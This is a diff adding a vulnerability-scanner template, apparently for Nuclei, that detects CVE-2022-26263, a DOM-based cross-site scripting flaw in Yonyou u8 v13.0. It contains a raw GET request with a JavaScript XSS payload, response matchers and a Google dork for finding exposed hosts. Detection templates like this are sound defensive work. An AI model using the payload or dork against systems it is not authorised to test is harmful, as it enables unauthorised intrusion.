Add CVE-2022-26263

cves/2022/CVE-2022-26263.yaml

@@ -0,0 +1,41 @@
+id: CVE-2022-26263
+
+info:
+  name: Yonyou u8 v13.0 - Cross Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Yonyou u8 v13.0 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability via the component /u8sl/WebHelp.
+  reference:
+    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
+  classification:
+    cve-id: CVE-2022-26263
+  metadata:
+    google-dork: inurl:/u8sl/WebHelp
+  tags: xss,yonyou,cve,cve2022
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        GET /U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"'"><xsstag>()locxss")#javascript:alert(document.domain) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: word
+        part: body
+        words:
+          - "<FRAME SRC='Welcome.htm' name='bsscright' scrolling='yes'>"
+          - "<META NAME=\"generator\" CONTENT=\"RoboHELP by eHelp Corporation www.ehelp.com\">"
+        condition: and